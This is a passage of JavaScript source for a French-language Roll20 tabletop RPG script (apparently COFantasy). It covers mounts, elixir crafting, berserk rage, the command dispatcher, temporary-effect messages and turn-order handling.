reussite = "La provocation échoue"; break; case 1: reussite = nomCible + " voit clair dans le jeu de " + nomCible + ". La provocation échoue."; } } addLineToFramedDisplay(display, reussite); addEvent(evt); sendChat('', endFramedDisplay(display)); }); //Fin du test opposé } function enSelle(msg) { var cmd = msg.content.split(' '); if (cmd.length < 3) { error("Il faut 2 arguments pour !cof-en-selle", cmd); return; } var cavalier = tokenOfId(cmd[1]); if (cavalier === undefined) { error("Premier argument de !cof-en-selle incorrect", cmd); return; } if (attributeAsBool(cavalier, 'monteSur')) { sendChar(cavalier.charId, " est déjà en selle"); return; } var tokenC = cavalier.token; var pageId = tokenC.get('pageid'); var monture = tokenOfId(cmd[2], cmd[2], pageId); if (monture === undefined || !charAttributeAsBool(monture, 'monture')) { sendChar(cavalier.charId, " ne peut pas monter là-dessus"); log(cmd); return; } var tokenM = monture.token; var nomMonture = tokenM.get('name'); if (attributeAsBool(monture, 'estMontePar')) { sendChar(cavalier.charId, " ne peut monter sur " + nomMonture + " car elle a déjà un cavalier"); return; } if (distanceCombat(tokenC, tokenM, pageId) > 0) { sendChar(cavalier.charId, " est trop loin de " + nomMonture); return; } var evt = { type: 'En selle' }; setTokenAttr(cavalier, 'monteSur', tokenM.id, evt, " monte sur " + nomMonture, nomMonture); setTokenAttr(monture, 'estMontePar', tokenC.id, evt, undefined, tokenC.get('name')); setTokenAttr(monture, 'positionSurMonture', tokenC.get('left') - tokenM.get('left'), evt, undefined, tokenC.get('top') - tokenM.get('top')); setTokenAttr(monture, 'directionSurMonture', tokenC.get('rotation') - tokenM.get('rotation'), evt); addEvent(evt); } function listeElixirs(rang) { var liste = [{ nom: 'fortifiant', action: "!cof-fortifiant $rang" }]; if (rang < 2) return liste; liste.push({ nom: 'feu_grégeois', action: "!cof-aoe [[$rangd6]] --psave DEX [[10+@{selected|INT}]] --disque @{target|token_id} 3 10 --lanceur @{selected|token_id}" }); if (rang < 3) return liste; liste.push({ nom: 'élixir_de_guérison', action: "!cof-soin 3d6+$INT" }); if (rang < 4) return liste; liste.push({ nom: "potion_d_agrandissement", action: "!cof-effet-temp agrandissement [[5+$INT]]" }); liste.push({ nom: "potion_de_forme_gazeuse", action: "!cof-effet-temp formeGazeuse [[1d4+$INT]]" }); liste.push({ nom: "potion_de_protection_contre_les_éléments", action: "!cof-effet-temp protectionContreLesElements [[5+$INT]]" }); liste.push({ nom: "potion_d_armure_de_mage", action: "!cof-effet-combat armureDuMage" }); liste.push({ nom: "potion_de_chute_ralentie", action: "est léger comme une plume." }); if (rang < 5) return liste; liste.push({ nom: "potion_d_invisibilité", action: "devient invisible" }); liste.push({ nom: "potion_de_vol", action: "se met à voler" }); liste.push({ nom: "potion_de_respiration_aquatique", action: "peut respirer sous l'eau" }); liste.push({ nom: "potion_de_flou", action: "devient flou (/2 les DM)" }); liste.push({ nom: "potion_de_hâte", action: "a une action supplémentaire par tour" }); return liste; } //!cof-creer-elixir token_id nom_token elixir function creerElixir(msg) { var options = parseOptions(msg); var cmd = options.cmd; if (cmd === undefined || cmd.length < 4) { error("Pas assez d'arguments pour !cof-creer-elixir", msg.content); return; } var forgesort = tokenOfId(cmd[1], cmd[2], options.pageId); if (forgesort === undefined) { if (msg.selected && msg.selected.length == 1) { forgesort = tokenOfId(msg.selected[0]._id); } if (forgesort === undefined) { error("Impossible de savoir qui crée l'élixir", cmd); return; } } var voieDesElixirs = charAttributeAsInt(forgesort, 'voieDesElixirs', 0); if (voieDesElixirs < 1) { sendChar(forgesort.charId, " ne connaît pas la Voie des Élixirs"); return; } var elixir = listeElixirs(voieDesElixirs).find(function(i) { if (i.nom == cmd[3]) return true; return false; }); if (elixir === undefined) { error(forgesort.token.get('name') + " est incapable de créer " + cmd[3], cmd); return; } var evt = { type: "Création d'élixir" }; if (limiteRessources(forgesort, options, 'elixirsACreer', 'élixirs à créer', evt)) return; var attrName = 'elixir_' + elixir.nom; var message = "crée un " + elixir.nom.replace(/_/g, ' '); var attr = tokenAttribute(forgesort, attrName); if (attr.length === 0) { var action = elixir.action.replace(/\$rang/g, voieDesElixirs); action = action.replace(/\$INT/g, modCarac(forgesort, 'INTELLIGENCE')); setTokenAttr(forgesort, attrName, 1, evt, message, action); } else { var nb = parseInt(attr[0].get('current')); if (isNaN(nb) || nb < 1) nb = 0; setTokenAttr(forgesort, attrName, nb + 1, evt, message); } addEvent(evt); } function gestionElixir(msg) { var playerId = msg.playerid; var player = getObj('player', playerId); getSelected(msg, function(selected) { iterSelected(selected, function(forgesort) { var voieDesElixirs = charAttributeAsInt(forgesort, 'voieDesElixirs', 0); if (voieDesElixirs < 1) { sendChar(forgesort.charId, " ne connaît pas la Voie des Élixirs"); return; } var elixirsACreer = voieDesElixirs * 2; var attrElixirs = tokenAttribute(forgesort, 'elixirsACreer'); if (attrElixirs.length === 0) { attrElixirs = setTokenAttr(forgesort, 'elixirsACreer', elixirsACreer, {}); } else { attrElixirs = attrElixirs[0]; elixirsACreer = parseInt(attrElixirs.get('current')); if (isNaN(elixirsACreer)) elixirsACreer = 0; } var titre; if (elixirsACreer < 1) titre = "Impossible de créer un autre élixir aujourd'hui"; else titre = "Encore " + elixirsACreer + " élixirs à créer"; var display = startFramedDisplay(playerId, titre, forgesort, undefined, true); listeElixirs(voieDesElixirs).forEach(function(elixir) { var nbElixirs = 0; var attr = tokenAttribute(forgesort, 'elixir_' + elixir.nom); if (attr.length > 0) { attr = attr[0]; nbElixirs = parseInt(attr.get('current')); if (isNaN(nbElixirs) || nbElixirs < 0) nbElixirs = 0; } var nomElixir = elixir.nom.replace(/_/g, ' '); var options = ''; var action; if (elixirsACreer > 0) { action = "!cof-creer-elixir " + forgesort.token.id + ' ' + forgesort.token.get('name') + ' ' + elixir.nom; options += bouton(forgesort, action, nbElixirs, attrElixirs); } else { options = nbElixirs + ' '; } if (nbElixirs > 0) { action = elixir.action; action = action.replace(/\$rang/g, voieDesElixirs); action = action.replace(/\$INT/g, modCarac(forgesort, 'INTELLIGENCE')); options += bouton(forgesort, action, nomElixir, attr); //TODO: Rajouter la possibilité de donner un élixir à un autre token } else { options += nomElixir; } addLineToFramedDisplay(display, options); }); sendChat('', endFramedDisplay(display)); }); }); //Fin du getSelected } function rageDuBerserk(msg) { getSelected(msg, function(selection) { if (selection.length === 0) { sendPlayer(msg, "Pas de token sélectionné pour la rage"); return; } iterSelected(selection, function(perso) { var evt = { type: "Rage" }; if (attributeAsBool(perso, 'rageDuBerserk')) { //Jet de sagesse difficulté 13 pour sortir de cet état var options = {}; var display = startFramedDisplay(msg.playerid, "Essaie de calmer sa rage", perso); testCaracteristique(perso, 'SAG', 13, options, evt, function(tr) { addLineToFramedDisplay(display, "<b>Résultat du jet de SAG :</b> " + tr.texte); addEvent(evt); if (tr.reussite) { addLineToFramedDisplay(display, "C'est réussi, " + perso.token.get('name') + " se calme."); removeTokenAttr(perso, 'rageDuBerserk', evt); } else { var msgRate = "C'est raté, " + perso.token.get('name') + " reste enragé"; //TODO : ajouter un bouton de chance addLineToFramedDisplay(display, msgRate); } sendChat('', endFramedDisplay(display)); }); } else { //Le barbare passe en rage if (!state.COFantasy.combat) { initiative(selection, evt); } setTokenAttr(perso, 'rageDuBerserk', true, evt, "entre dans une rage berserk !"); } }); //fin iterSelected }); //fin getSelected } function apiCommand(msg) { msg.content = msg.content.replace(/\s+/g, ' '); //remove duplicate whites var command = msg.content.split(" ", 1); // First replace inline rolls by their values if (command[0] != "!cof-aoe") replaceInline(msg); var evt; switch (command[0]) { case "!cof-jet": jet(msg); return; case "!cof-resultat-jet": resultatJet(msg); return; case "!cof-attack": parseAttack(msg); return; case "!cof-undo": undoEvent(); return; case "!cof-hors-combat": sortirDuCombat(); return; case "!cof-nuit": nuit(msg); return; case "!cof-jour": evt = { type: "Nouveau jour" }; jour(evt); addEvent(evt); return; case "!cof-recuperation": recuperer(msg); return; case "!cof-recharger": recharger(msg); return; case "!cof-chance": //deprecated chance(msg); return; case "!cof-bouton-chance": boutonChance(msg); return; case "!cof-bouton-rune-energie": runeEnergie(msg); return; case "!cof-surprise": surprise(msg); return; case "!cof-init": if (!_.has(msg, 'selected')) { error("Dans !cof-init : rien à faire, pas de token selectionné", msg); return; } evt = { type: "initiative" }; initiative(msg.selected, evt); addEvent(evt); return; case "!cof-attendre": attendreInit(msg); return; case "!cof-statut": statut(msg); return; case "!cof-armure-magique": armureMagique(msg); return; case "!cof-buf-def": bufDef(msg); return; case "!cof-remove-buf-def": removeBufDef(msg); return; case "!cof-aoe": aoe(msg); return; case "!cof-set-state": interfaceSetState(msg); return; case "!cof-degainer": degainer(msg); return; case "!cof-echange-init": echangeInit(msg); return; case "!cof-a-couvert": aCouvert(msg); return; case "!cof-effet-temp": effetTemporaire(msg); return; case "!cof-effet-combat": effetCombat(msg); return; case "!cof-effet": effetIndetermine(msg); return; case "!cof-attaque-magique": attaqueMagique(msg); return; case "!cof-sommeil": sommeil(msg); return; case "!cof-transe-guerison": transeGuerison(msg); return; case "!cof-soin": soigner(msg); return; case "!cof-aoe-soin": //Deprecated aoeSoin(msg); return; case "!cof-nature-nourriciere": natureNourriciere(msg); return; case "!cof-ignorer-la-douleur": ignorerLaDouleur(msg); return; case "!cof-fortifiant": fortifiant(msg); return; case "!cof-intercepter": intercepter(msg); return; case "!cof-esquive-fatale": esquiveFatale(msg); return; case "!cof-exemplaire": exemplaire(msg); return; case "!cof-lancer-sort": lancerSort(msg); return; case "!cof-peur": peur(msg); return; case "!cof-distribuer-baies": distribuerBaies(msg); return; case "!cof-consommer-baie": consommerBaie(msg); return; case "!cof-proteger-un-allie": protegerUnAllie(msg); return; case "!cof-action-defensive": actionDefensive(msg); return; case "!cof-strangulation": strangulation(msg); return; case "!cof-ombre-mortelle": ombreMortelle(msg); return; case "!cof-escalier": escalier(msg); return; case "!cof-defaut-dans-la-cuirasse": defautDansLaCuirasse(msg); return; case "!cof-posture-de-combat": postureDeCombat(msg); return; case "!cof-mur-de-force": murDeForce(msg); return; case "!cof-capitaine": devientCapitaine(msg); return; case "!cof-tueur-fantasmagorique": tueurFantasmagorique(msg); return; case "!cof-tour-de-force": tourDeForce(msg); return; case "!cof-encaisser-un-coup": encaisserUnCoup(msg); return; case "!cof-absorber-au-bouclier": absorberAuBouclier(msg); return; case "!cof-demarrer-statistiques": if (state.COFantasy.statistiquesEnPause) { state.COFantasy.statistiques = state.COFantasy.statistiquesEnPause; state.COFantasy.statistiquesEnPause = undefined; } else { state.COFantasy.statistiques = {}; //remet aussi les statistiques à 0 } return; case "!cof-arreter-statistiques": state.COFantasy.statistiques = undefined; return; case "!cof-pause-statistiques": if (state.COFantasy.statistiques) { state.COFantasy.statistiquesEnPause = state.COFantasy.statistiques; state.COFantasy.statistiques = undefined; } // sinon, ne pas écraser les statistiques déjà en pause return; case "!cof-statistiques": displayStatistics(msg); return; case "!cof-destruction-des-morts-vivants": destructionDesMortsVivants(msg); return; case "!cof-enduire-poison": enduireDePoison(msg); return; case "!cof-consommables": listeConsommables(msg); return; case "!cof-utilise-consommable": //Usage interne seulement utiliseConsommable(msg); return; case "!cof-provocation": provocation(msg); return; case "!cof-en-selle": enSelle(msg); return; case "!cof-creer-elixir": //usage interne seulement creerElixir(msg); return; case "!cof-elixirs": gestionElixir(msg); return; case "!cof-rage-du-berserk": rageDuBerserk(msg); return; default: return; } } var messageEffetTemp = { sous_tension: { activation: "se charge d'énergie électrique", actif: "est chargé d'énergie électrique", fin: "n'est plus chargé d'énergie électrique" }, a_couvert: { activation: "reste à couvert", actif: "est à couvert", fin: "n'est plas à couvert" }, image_decalee: { activation: "décale légèrement son image", actif: "a décalé son image", fin: "apparaît à nouveau là où il se trouve" }, chant_des_heros: { activation: "écoute le chant du barde", actif: "est inspiré par le Chant des Héros", fin: "n'est plus inspiré par le Chant des Héros" }, benediction: { activation: "est touché par la bénédiction", actif: "est béni", fin: "l'effet de la bénédiction s'estompe" }, peau_d_ecorce: { activation: "donne à sa peau la consistance de l'écorce", actif: "a la peau dure comme l'écorce", fin: "retrouve une peau normale" }, rayon_affaiblissant: { activation: "est touché par un rayon affaiblissant", actif: "est sous l'effet d'un rayon affaiblissant", fin: "n'est plus affaibli" }, peur: { activation: "prend peur", actif: "est dominé par sa peur", fin: "retrouve du courage" }, peurEtourdi: { activation: "prend peur: il peut fuir ou rester recroquevillé", actif: "est paralysé par la peur", fin: "retrouve du courage et peut à nouveau agir" }, aveugleTemp: { activation: "n'y voit plus rien !", actif: "", //Déjà affiché avec l'état aveugle fin: "retrouve la vue" }, ralentiTemp: { activation: "est ralenti : une seule action, pas d'action limitée", actif: "", //Déjà affiché avec l'état ralenti fin: "n'est plus ralenti" }, epeeDansante: { activation: "fait apparaître une lame d'énergie lumineuse", actif: "contrôle une lame d'énergie lumineuse", fin: "La lame d'énergie lumineuse disparaît" }, putrefaction: { activation: "vient de contracter une sorte de lèpre fulgurante", actif: "est en pleine putréfaction", fin: "La putréfaction s'arrête." }, forgeron: { activation: "enflamme son arme", actif: "a une arme en feu", fin: "L'arme n'est plus enflammée." }, dmgArme1d6: { activation: "enduit son arme d'une huile magique", actif: "a une arme plus puissante", fin: "L'arme retrouve sa puissance normale" }, agrandissement: { activation: "se met à grandir", actif: "est vraiment très grand", fin: "retrouve sa taille normale" }, formeGazeuse: { activation: "semble perdre de la consistance", actif: "est en forme gazeuse", fin: "retrouve sa consistance normale" }, intangible: { activation: "devient translucide", actif: "est intangible", fin: "redevient solide" }, strangulation: { activation: "commence à étouffer", actif: "est étranglé", fin: "respire enfin" }, ombreMortelle: { activation: "voit son ombre s'animer et l'attaquer !", actif: "est une ombre animée", fin: "retrouve une ombre normale" }, dedoublement: { activation: "voit un double translucide sortir de lui", actif: "est un double translucide", fin: "le double disparaît" }, zoneDeSilence: { activation: "n'entend plus rien", actif: "est totalement sourd", fin: "peut à nouveau entendre" }, danseIrresistible: { activation: "se met à danser", actif: "danse malgré lui", fin: "s'arrête de danser" }, confusion: { activation: "ne sait plus très bien ce qu'il fait là", actif: "est en pleine confusion", fin: "retrouve ses esprits" }, murDeForce: { activation: "fait apparaître un mur de force", actif: "en entouré d'un mur de force", fin: "voit son mur de force disparaître" }, asphyxie: { activation: "commence à manquer d'air", actif: "étouffe", fin: "peut à nouveau respirer" }, forceDeGeant: { activation: "devient plus fort", actif: "a une force de géant", fin: "retrouve sa force normale" }, saignementsSang: { activation: "commence à saigner du nez, des oreilles et des yeux", actif: "saigne de tous les orifices du visage", fin: "ne saigne plus" }, encaisserUnCoup: { activation: "se place de façon à dévier un coup sur son armure", actif: "est placé de façon à dévier un coup", fin: "n'est plus en position pour encaisser un coup" }, absorberUnCoup: { activation: "se prépare à absorber un coup avec son bouclier", actif: "est prêt à absorber un coup avec son bouclier", fin: "n'est plus en position de prendre le prochain coup sur son bouclier" }, absorberUnSort: { activation: "se prépare à absorber un sort avec son bouclier", actif: "est prêt à absorber un sort avec son bouclier", fin: "n'est plus en position de se protéger d'un sort avec son bouclier" }, nueeDInsectes: { activation: "est attaqué par une nuée d'insectes", actif: "est entouré d'une nuée d'insectes", fin: "est enfin débarassé des insectes" }, prisonVegetale: { activation: "voit des plantes pousser et s'enrouler autour de ses jambes", actif: "est bloqué par des plantes", fin: "se libère des plantes" }, protectionContreLesElements: { activation: "lance un sort de protection contre les éléments", actif: "est protégé contre les éléments", fin: "n'est plus protégé contre les éléments" }, masqueMortuaire: { activation: "prend l'apparence de la mort", actif: "semble mort et animé", fin: "retrouve une apparence de vivant" }, armeBrulante: { activation: "sent son arme lui chauffer la main", actif: "se brûle la main sur son arme", fin: "sent son arme refroidir" }, armureBrulante: { activation: "sent son armure chauffer", actif: "brûle dans son armure", fin: "sent son armure refroidir" }, masqueDuPredateur: { activation: "prend les traits d'un prédateur", actif: "a les traits d'un prédateur", fin: "redevient normal" }, aspectDeLaSuccube: { activation: "acquiert une beauté fascinante", actif: "est d'une beauté fascinante", fin: "retrouve sa beauté habituelle" }, sangMordant: { activation: "transforme son sang", actif: "a du sang acide", fin: "retrouve un sang normal" } }; var patternEffetsTemp = new RegExp(_.reduce(messageEffetTemp, function(reg, msg, effet) { var res = reg; if (res !== "(") res += "|"; res += "^" + effet + "($|_)"; return res; }, "(") + ")"); function estEffetTemp(name) { return (patternEffetsTemp.test(name)); } function effetTempOfAttribute(attr) { var ef = attr.get('name'); if (ef === undefined || messageEffetTemp[ef]) return ef; for (var effet in messageEffetTemp) { if (ef.startsWith(effet + "_")) return effet; } error("Impossible de déterminer l'effet correspondant à " + ef, attr); return undefined; } var messageEffetCombat = { armureMagique: { activation: "est entouré d'un halo magique", actif: "est protégé par une armure magique", fin: "n'est plus entouré d'un halo magique" }, criDeGuerre: { activation: "pousse son cri de guerre", actif: "a effrayé ses adversaires", fin: "n'effraie plus ses adversaires" }, armureDuMage: { activation: "fait apparaître un nuage magique argenté qui le protège", actif: "est entouré d'une armure du mage", fin: "n'a plus son armure du mage" }, armeDArgent: { activation: "crée une arme d'argent et de lumière", actif: "possède une arme d'argent et de lumière", fin: "ne possède plus d'arme d'argent et de lumière" }, protectionContreLeMal: { activation: "reçoit une bénédiction de protection contre le mal", actif: "est protégé contre le mal", fin: "n'est plus protégé contre le mal" }, rageDuBerserk: { activation: "entre dans une rage berserk", actif: "est dans une rage berserk", fin: "retrouve son calme" } }; var patternEffetsCombat = new RegExp(_.reduce(messageEffetCombat, function(reg, msg, effet) { var res = reg; if (res !== "(") res += "|"; res += "^" + effet + "($|_)"; return res; }, "(") + ")"); function estEffetCombat(name) { return (patternEffetsCombat.test(name)); } function effetCombatOfAttribute(attr) { var ef = attr.get('name'); if (ef === undefined || messageEffetCombat[ef]) return ef; for (var effet in messageEffetCombat) { if (ef.startsWith(effet + "_")) return effet; } error("Impossible de déterminer l'effet correspondant à " + ef, attr); return undefined; } var messageEffetIndetermine = { aCheval: { //deprecated, mieux vaut utiliser la commande !cof-en-selle activation: "monte sur sa monture", actif: "est sur sa monture", fin: "descend de sa monture" }, marcheSylvestre: { activation: "se deplace maintenant en terrain difficile", actif: "profite du terrain difficile", fin: "est maintenant en terrain normal" } }; var patternEffetsIndetermine = new RegExp(_.reduce(messageEffetIndetermine, function(reg, msg, effet) { var res = reg; if (res !== "(") res += "|"; res += "^" + effet + "($|_)"; return res; }, "(") + ")"); function estEffetIndetermine(name) { return (patternEffetsIndetermine.test(name)); } function effetIndetermineOfAttribute(attr) { var ef = attr.get('name'); if (ef === undefined || messageEffetIndetermine[ef]) return ef; for (var effet in messageEffetIndetermine) { if (ef.startsWith(effet + "_")) return effet; } error("Impossible de déterminer l'effet correspondant à " + ef, attr); return undefined; } // Fait foo sur tous les tokens représentant charId, ayant l'effet donné, et correspondant au nom d'attribut. Pour le cas où le token doit être lié au personnage, on ne prend qu'un seul token, sauf si filterUnique est défini, auquel cas on fait l'appel sur tous les tokens qui passent filterUnique function iterTokensOfEffet(charId, effet, attrName, foo, filterUnique) { var total = 1; //Nombre de tokens affectés, pour gérer l'asynchronie si besoin if (attrName == effet) { //token lié au character var tokens = findObjs({ _type: 'graphic', _subtype: 'token', represents: charId }); tokens = tokens.filter(function(tok) { return (tok.get('bar1_link') !== ''); }); if (tokens.length === 0) { log("Pas de token pour un personnage"); log(charId); log(attrName); return; } if (filterUnique) { total = tokens.length; tokens.forEach(function(tok) { if (filterUnique(tok)) foo(tok, total); }); } else foo(tokens[0], 1); } else { //token non lié au character var tokenName = attrName.substring(attrName.indexOf('_') + 1); var tNames = findObjs({ _type: 'graphic', _subtype: 'token', represents: charId, name: tokenName, bar1_link: '' }); total = tNames.length; if (total > 1) { var character = getObj('character', charId); var charName = "d'id " + charId; if (character) charName = character.get('name'); error("Attention, il y a plusieurs tokens nommés " + tokenName + ", instances du personnage " + charName, total); } tNames.forEach(function(tok) { foo(tok, total); }); } } function finDEffet(attr, effet, attrName, charId, evt, attrSave) { //L'effet arrive en fin de vie, doit être supprimé //Si on a un attrSave, alors on a déjà imprimé le message de fin d'effet if (attrSave) { //on a un attribut associé à supprimer) evt.deletedAttributes.push(attrSave); attrSave.remove(); } else { //On cherche si il y en a un if (!getState({ charId: charId }, 'mort')) { sendChar(charId, messageEffetTemp[effet].fin); } var nameWithSave = effet + "SaveParTour" + attrName.substr(effet.length); findObjs({ _type: 'attribute', _characterid: charId, name: nameWithSave }). forEach(function(attrS) { evt.deletedAttributes.push(attrS); attrS.remove(); }); } switch (effet) { case 'agrandissement': //redonner sa taille normale evt.affectes = evt.affectes || []; getObj('character', charId).get('defaulttoken', function(normalToken) { normalToken = JSON.parse(normalToken); var largeWidth = normalToken.width + normalToken.width / 2; var largeHeight = normalToken.height + normalToken.height / 2; iterTokensOfEffet(charId, effet, attrName, function(token) { var width = token.get('width'); var height = token.get('height'); evt.affectes.push({ affecte: token, prev: { width: width, height: height } }); token.set('width', normalToken.width); token.set('height', normalToken.height); }, function(token) { if (token.get('width') == largeWidth) return true; if (token.get('height') == largeHeight) return true; return false; } ); }); break; case 'aveugleTemp': iterTokensOfEffet(charId, effet, attrName, function(token) { setState({ token: token, charId: charId }, 'aveugle', false, evt); }, function(token) { return true; }); break; case 'ralentiTemp': iterTokensOfEffet(charId, effet, attrName, function(token) { setState({ token: token, charId: charId }, 'ralenti', false, evt); }, function(token) { return true; }); break; case 'peur': case 'peurEtourdi': iterTokensOfEffet(charId, effet, attrName, function(token) { setState({ token: token, charId: charId }, 'peur', false, evt); }, function(token) { return true; }); break; case 'ombreMortelle': case 'dedoublement': iterTokensOfEffet(charId, effet, attrName, function(token) { token.remove(); }); break; case 'murDeForce': iterTokensOfEffet(charId, effet, attrName, function(token) { var attr = tokenAttribute({ charId: charId, token: token }, 'murDeForceId'); if (attr.length === 0) return; var imageMur = getObj('graphic', attr[0].get('current')); if (imageMur) { imageMur.remove(); } attr[0].remove(); }); break; default: } evt.deletedAttributes.push(attr); attr.remove(); } //asynchrone function degatsParTour(charId, effet, attrName, dmg, type, msg, evt, options, callback) { options = options || {}; msg = msg || ''; var count = -1; iterTokensOfEffet(charId, effet, attrName, function(token, total) { if (count < 0) count = total; sendChat('', "[[" + dmg + "]]", function(res) { var rolls = res[0]; var dmgRoll = rolls.inlinerolls[0]; var r = { total: dmgRoll.results.total, type: type, display: buildinline(dmgRoll, type) }; var perso = { token: token, charId: charId }; dealDamage(perso, r, [], evt, 1, options, undefined, function(dmgDisplay, dmg) { sendChar(charId, msg + ". " + onGenre(charId, 'Il', 'Elle') + " subit " + dmgDisplay + " DM"); count--; if (count === 0) callback(); }); }); //fin sendChat du jet de dé }); //fin iterTokensOfEffet } function nextTurn(cmp) { if (!cmp.get('initiativepage')) return; var turnOrder = cmp.get('turnorder'); var pageId = state.COFantasy.combat_pageid; if (pageId === undefined) pageId = cmp.get('playerpageid'); if (turnOrder === "") return; // nothing in the turn order turnOrder = JSON.parse(turnOrder); if (turnOrder.length < 1) return; var evt = { type: 'personnage suivant', attributes: [], deletedAttributes: [] }; var active = turnOrder[0]; var lastHead = turnOrder.pop(); turnOrder.unshift(lastHead); evt.turnorder = JSON.stringify(turnOrder); var attrs = findObjs({ _type: 'attribute' }); // Si on a changé d'initiative, alors diminue les effets temporaires var init = parseInt(active.pr); if (active.id == "-1" && active.custom == "Tour") init = 0; var count = 0; // pour l'aspect asynchrone des effets temporaires if (state.COFantasy.init > init) { var attrsTemp = attrs.filter(function(obj) { if (!estEffetTemp(obj.get('name'))) return false; var obji = obj.get('max'); return (init < obji && obji <= state.COFantasy.init); }); state.COFantasy.init = init; // Boucle sur les effets temps peut être asynchrone à cause des DM count = attrsTemp.length; attrsTemp.forEach(function(attr) { var charId = attr.get('characterid'); var effet = effetTempOfAttribute(attr); if (effet === undefined) { //erreur, on stoppe tout log(attr); count--; return; } var attrName = attr.get('name'); var v = attr.get('current'); if (v > 0) { // Effet encore actif attr.set('current', v - 1); evt.attributes.push({ attribute: attr, current: v }); switch (effet) { //rien après le switch, donc on sort par un return case 'putrefaction': //prend 1d6 DM degatsParTour(charId, effet, attrName, "1d6", 'maladie', "pourrit", evt, { magique: true }, function() { count--; if (count === 0) nextTurnOfActive(active, attrs, evt, pageId); }); return; case 'asphyxie': //prend 1d6 DM degatsParTour(charId, effet, attrName, "1d6", 'normal', "ne peut plus respirer", evt, { asphyxie: true }, function() { count--; if (count === 0) nextTurnOfActive(active, attrs, evt, pageId); }); return; case 'saignementsSang': //prend 1d6 DM if (charAttributeAsBool(charId, 'immuniteSaignement')) { count--; if (count === 0) nextTurnOfActive(active, attrs, evt, pageId); return; } degatsParTour(charId, effet, attrName, "1d6", 'normal', "saigne par tous les orifices du visage", evt, { magique: true }, function() { count--; if (count === 0) nextTurnOfActive(active, attrs, evt, pageId); }); return; case 'armureBrulante': //prend 1d4 DM degatsParTour(charId, effet, attrName, "1d4", 'feu', "brûle dans son armure", evt, {}, function() { count--; if (count === 0) nextTurnOfActive(active, attrs, evt, pageId); }); return; case 'nueeDInsectes': //prend 1 DM degatsParTour(charId, effet, attrName, "1", 'normal', "est piqué par les insectes", evt, {}, function() { count--; if (count === 0) nextTurnOfActive(active, attrs, evt, pageId); }); return; case 'armeBrulante': //prend 1 DM degatsParTour(charId, effet, attrName, "1", 'feu', "se brûle avec son arme", evt, {}, function() { count--; if (count === 0) nextTurnOfActive(active, attrs, evt, pageId); }); return; case 'strangulation': var nameDureeStrang = 'dureeStrangulation'; if (effet != attrName) { //concerne un token non lié nameDureeStrang += attrName.substring(attrName.indexOf('_')); } var dureeStrang = findObjs({ _type: 'attribute', _characterid: charId, name: nameDureeStrang }); if (dureeStrang.length === 0) { var attrDuree = createObj('attribute', { characterid: charId, name: nameDureeStrang, current: 0, max: false }); evt.attributes.push({ attribute: attrDuree, current: null }); } else { var strangUpdate = dureeStrang[0].get('max'); if (strangUpdate) { //a été mis à jour il y a au plus 1 tour evt.attributes.push({ attribute: dureeStrang[0], current: dureeStrang[0].get('current'), max: strangUpdate }); dureeStrang[0].set('max', false); } else { //Ça fait trop longtemps, on arrête tout sendChar(charId, messageEffetTemp[effet].fin); attr.set('current', v); evt.attributes.pop(); //On enlève des attributs modifiés pour mettre dans les attribute supprimés. evt.deletedAttributes.push(attr); attr.remove(); evt.deletedAttributes.push(dureeStrang[0]); dureeStrang[0].remove(); } } count--; return; default: count--; return; } } else { //L'effet arrive en fin de vie, doit être supprimé finDEffet(attr, effet, attrName, charId, evt); count--; } }); //fin de la boucle sur tous les attributs d'effets } if (count === 0) nextTurnOfActive(active, attrs, evt, pageId); } function nextTurnOfActive(active, attrs, evt, pageId) { if (active.id == "-1" && active.custom == "Tour") { var tour = parseInt(active.pr); if (isNaN(tour)) { error("Tour invalide", active); return; } evt.tour = tour - 1; evt.updateNextInitSet = updateNextInitSet; active.pr = tour - 1; // préparation au calcul de l'undo sendChat("GM", "Début du tour " + tour); state.COFantasy.tour = tour; state.COFantasy.init = 1000; // Enlever les bonus d'un tour attrs = removeAllAttributes('actionConcertee', evt, attrs); attrs = removeAllAttributes('intercepter', evt, attrs); attrs = removeAllAttributes('exemplaire', evt, attrs); // Pour défaut dans la cuirasse, on diminue si la valeur est 2, et on supprime si c'est 1 var defautsDansLaCuirasse = allAttributesNamed(attrs, 'defautDansLaCuirasse'); defautsDansLaCuirasse.forEach(function(attr) { if (attr.get('current') < 2) { if (evt.deletedAttributes) evt.deletedAttributes.push(attr); else evt.deletedAttributes = [attr]; attr.remove(); } else { var prevAttr = { attribute: attr, current: 2 }; if (evt.attributes) evt.attributes.push(prevAttr); else evt.attributes = [prevAttr]; attr.set('current', 1); } }); // Pour la feinte, on augmente la valeur, et on supprime si la valeur est 2 var feinte = allAttributesNamed(attrs, 'feinte'); feinte.forEach(function(attr) { var valFeinte = parseInt(attr.get('current')); if (isNaN(valFeinte) || valFeinte > 0) { if (evt.deletedAttributes) evt.deletedAttributes.push(attr); else evt.deletedAttributes = [attr]; attr.remove(); } else { var prevAttr = { attribute: attr, current: 0 }; if (evt.attributes) evt.attributes.push(prevAttr); else evt.attributes = [prevAttr]; attr.set('current', 1); } }); // nouveau tour : enlever le statut surpris // et faire les actions de début de tour var selected = []; updateNextInitSet.forEach(function(id) { selected.push({ _id: id }); }); findObjs({ _type: 'graphic', _subtype: 'token', _pageid: pageId }).forEach(function(tok) { var charId = tok.get('represents'); if (charId === '') return; var perso = { token: tok, charId: charId }; if (getState(perso, 'surpris')) { //surprise setState(perso, 'surpris', false, {}); selected.push({ _id: tok.id }); } var enflammeAttr = tokenAttribute(perso, 'enflamme'); if (enflammeAttr.length > 0) { var enflamme = parseInt(enflammeAttr[0].get('current')); // Pour ne pas faire les dégâts plusieurs fois (plusieurs tokens pour un même personnage), on utilise la valeur max de l'attribut var dernierTourEnflamme = parseInt(enflammeAttr[0].get('max')); if ((isNaN(dernierTourEnflamme) || dernierTourEnflamme < tour) && !isNaN(enflamme) && enflamme > 0) { var d6Enflamme = randomInteger(6); var feu = d6Enflamme + enflamme - 1; var dmg = { type: 'feu', total: feu, display: feu }; feu = dealDamage(perso, dmg, [], evt, 1); sendChar(charId, " est en flamme ! " + onGenre(charId, 'Il', 'Elle') + " subit " + feu + " DM"); if (d6Enflamme < 3) { sendChar(charId, " les flammes s'éteignent"); removeTokenAttr(perso, 'enflamme', evt); } else { enflammeAttr[0].set('max', tour); } } } }); initiative(selected, evt); // met Tour à la fin et retrie updateNextInitSet = new Set(); // Saves à faire à la fin de chaque tour var attrsSave = attrs.filter(function(attr) { var attrName = attr.get('name'); var indexSave = attrName.indexOf('SaveParTour'); if (indexSave < 0) return false; return estEffetTemp(attrName.substring(0, indexSave)); }); //Les saves sont asynchrones var count = attrsSave.length; attrsSave.forEach(function(attr) { var attrName = attr.get('name'); var carac = attr.get('current'); if 